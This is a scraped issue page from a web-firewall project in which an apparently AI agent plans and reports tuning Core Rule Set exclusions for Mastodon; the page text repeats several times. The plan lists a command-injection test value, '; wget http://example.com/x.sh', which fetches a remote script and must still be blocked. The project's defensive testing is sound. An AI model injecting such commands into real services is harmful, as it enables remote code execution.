One unit of #212: its definition of done, for Mastodon, built by the plan at #212 (comment).
Ordinary traffic to record: pages signed in and out; sign-in; admin pages; composing a post; media uploads; the REST API under /api as its apps use it; WebFinger and ActivityPub federation, including a signed POST to an inbox.
The landing title ends with this issue's (closes #N).
Model: opus-5-5
One unit of https://git.eeqj.de/sneak/smallwebwaf/issues/212: its definition of done, for Mastodon, built by the plan at https://git.eeqj.de/sneak/smallwebwaf/issues/212#issuecomment-171639.
Ordinary traffic to record: pages signed in and out; sign-in; admin pages; composing a post; media uploads; the REST API under `/api` as its apps use it; WebFinger and ActivityPub federation, including a signed `POST` to an inbox.
The landing title ends with this issue's `(closes #N)`.
Model: opus-5-5
clawbot
self-assigned this 2026-11-09 06:12:22 +01:00
Plan for this unit, on top of #212 (comment) and its addition at #212 (comment), which bind it. MediaWiki's change (#251) is the closest model: follow its shape.
Where:internal/coreruleset. New files mastodon.conf, mastodon_test.go and testdata/mastodon-requests.txt. Tests load through the shared helpers (sharedCoreRuleSet, atDefaults, readingBodies) and check the recorded requests through the shared function that runs each as a parallel subtest; hard values come from the shared list.
Recording: Mastodon's current release from its official images, pinned by digest, in Docker on this host, with the database and cache it needs. A headless Chrome in a container for the web pages and admin pages; plain HTTP clients for /api as its apps use it, WebFinger, and ActivityPub: a signed inbox delivery, a follow, and fetching an actor and a note. From Mastodon's source, list first every field that carries a search, a name, a title, a file name, an address or free text, and record each with plain words and with python3, powershell, ls -la and .htaccess. Commit nothing about running it; remove every container, volume and network you start; stay under 3 GiB of RAM. If Mastodon cannot run in that, stop and say so on this issue.
Exclusions: per field, across Mastodon's own areas, removing on each only the rules its recorded values set off. 932230 and 932235 stay wherever they do not misfire, and tests show SQL injection, path traversal, script injection and ; wget http://example.com/x.sh still refused on every field the file touches. Every rule is phase 1.
SWW_APPS:#225 waits on sneak. If it has landed, register mastodon as mediawiki is. If not, SPEC.md lists the file as the twelfth change, after MediaWiki's, and coreruleset.go loads it after mediawiki.conf; that PR then adapts.
Docs:README.md lists Mastodon with the other apps; SPEC.md describes the change where it describes MediaWiki's, fields as nested bullets. The PR body, under about 250 words, names the version and digest, every field and area, and says an ordinary request on another field can still be refused.
make fmt, then flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; a flock timeout also exits 1, so read the output. Edit by hand, no scripted edits, and start no subagent on another model. Label the PR needs-review.
Model: opus-5-5
**Plan for this unit**, on top of https://git.eeqj.de/sneak/smallwebwaf/issues/212#issuecomment-171639 and its addition at https://git.eeqj.de/sneak/smallwebwaf/issues/212#issuecomment-172023, which bind it. MediaWiki's change (https://git.eeqj.de/sneak/smallwebwaf/pulls/251) is the closest model: follow its shape.
- **Where:** `internal/coreruleset`. New files `mastodon.conf`, `mastodon_test.go` and `testdata/mastodon-requests.txt`. Tests load through the shared helpers (`sharedCoreRuleSet`, `atDefaults`, `readingBodies`) and check the recorded requests through the shared function that runs each as a parallel subtest; hard values come from the shared list.
- **Recording:** Mastodon's current release from its official images, pinned by digest, in Docker on this host, with the database and cache it needs. A headless Chrome in a container for the web pages and admin pages; plain HTTP clients for `/api` as its apps use it, WebFinger, and ActivityPub: a signed inbox delivery, a follow, and fetching an actor and a note. From Mastodon's source, list first every field that carries a search, a name, a title, a file name, an address or free text, and record each with plain words and with `python3`, `powershell`, `ls -la` and `.htaccess`. Commit nothing about running it; remove every container, volume and network you start; stay under 3 GiB of RAM. If Mastodon cannot run in that, stop and say so on this issue.
- **Exclusions:** per field, across Mastodon's own areas, removing on each only the rules its recorded values set off. 932230 and 932235 stay wherever they do not misfire, and tests show SQL injection, path traversal, script injection and `; wget http://example.com/x.sh` still refused on every field the file touches. Every rule is phase 1.
- **`SWW_APPS`:** https://git.eeqj.de/sneak/smallwebwaf/pulls/225 waits on sneak. If it has landed, register `mastodon` as `mediawiki` is. If not, `SPEC.md` lists the file as the twelfth change, after MediaWiki's, and `coreruleset.go` loads it after `mediawiki.conf`; that PR then adapts.
- **Docs:** `README.md` lists Mastodon with the other apps; `SPEC.md` describes the change where it describes MediaWiki's, fields as nested bullets. The PR body, under about 250 words, names the version and digest, every field and area, and says an ordinary request on another field can still be refused.
`make fmt`, then `flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check`; a `flock` timeout also exits 1, so read the output. Edit by hand, no scripted edits, and start no subagent on another model. Label the PR `needs-review`.
Model: opus-5-5
Built in #268: mastodon.conf with the recorded requests from Mastodon 4.7.5 and tests. The fields and areas are listed in the PR body and in SPEC.md's twelfth change.
Found while building it: gitea.conf lets attacks through in q on /api/v2/search. Filed as #266.
Model: opus-5-5
Built in https://git.eeqj.de/sneak/smallwebwaf/pulls/268: `mastodon.conf` with the recorded requests from Mastodon 4.7.5 and tests. The fields and areas are listed in the PR body and in `SPEC.md`'s twelfth change.
Found while building it: `gitea.conf` lets attacks through in `q` on `/api/v2/search`. Filed as https://git.eeqj.de/sneak/smallwebwaf/issues/266.
Model: opus-5-5
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
One unit of #212: its definition of done, for Mastodon, built by the plan at #212 (comment).
Ordinary traffic to record: pages signed in and out; sign-in; admin pages; composing a post; media uploads; the REST API under
/apias its apps use it; WebFinger and ActivityPub federation, including a signedPOSTto an inbox.The landing title ends with this issue's
(closes #N).Model: opus-5-5
Plan for this unit, on top of #212 (comment) and its addition at #212 (comment), which bind it. MediaWiki's change (#251) is the closest model: follow its shape.
internal/coreruleset. New filesmastodon.conf,mastodon_test.goandtestdata/mastodon-requests.txt. Tests load through the shared helpers (sharedCoreRuleSet,atDefaults,readingBodies) and check the recorded requests through the shared function that runs each as a parallel subtest; hard values come from the shared list./apias its apps use it, WebFinger, and ActivityPub: a signed inbox delivery, a follow, and fetching an actor and a note. From Mastodon's source, list first every field that carries a search, a name, a title, a file name, an address or free text, and record each with plain words and withpython3,powershell,ls -laand.htaccess. Commit nothing about running it; remove every container, volume and network you start; stay under 3 GiB of RAM. If Mastodon cannot run in that, stop and say so on this issue.; wget http://example.com/x.shstill refused on every field the file touches. Every rule is phase 1.SWW_APPS: #225 waits on sneak. If it has landed, registermastodonasmediawikiis. If not,SPEC.mdlists the file as the twelfth change, after MediaWiki's, andcoreruleset.goloads it aftermediawiki.conf; that PR then adapts.README.mdlists Mastodon with the other apps;SPEC.mddescribes the change where it describes MediaWiki's, fields as nested bullets. The PR body, under about 250 words, names the version and digest, every field and area, and says an ordinary request on another field can still be refused.make fmt, thenflock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; aflocktimeout also exits 1, so read the output. Edit by hand, no scripted edits, and start no subagent on another model. Label the PRneeds-review.Model: opus-5-5
Built in #268:
mastodon.confwith the recorded requests from Mastodon 4.7.5 and tests. The fields and areas are listed in the PR body and inSPEC.md's twelfth change.Found while building it:
gitea.conflets attacks through inqon/api/v2/search. Filed as #266.Model: opus-5-5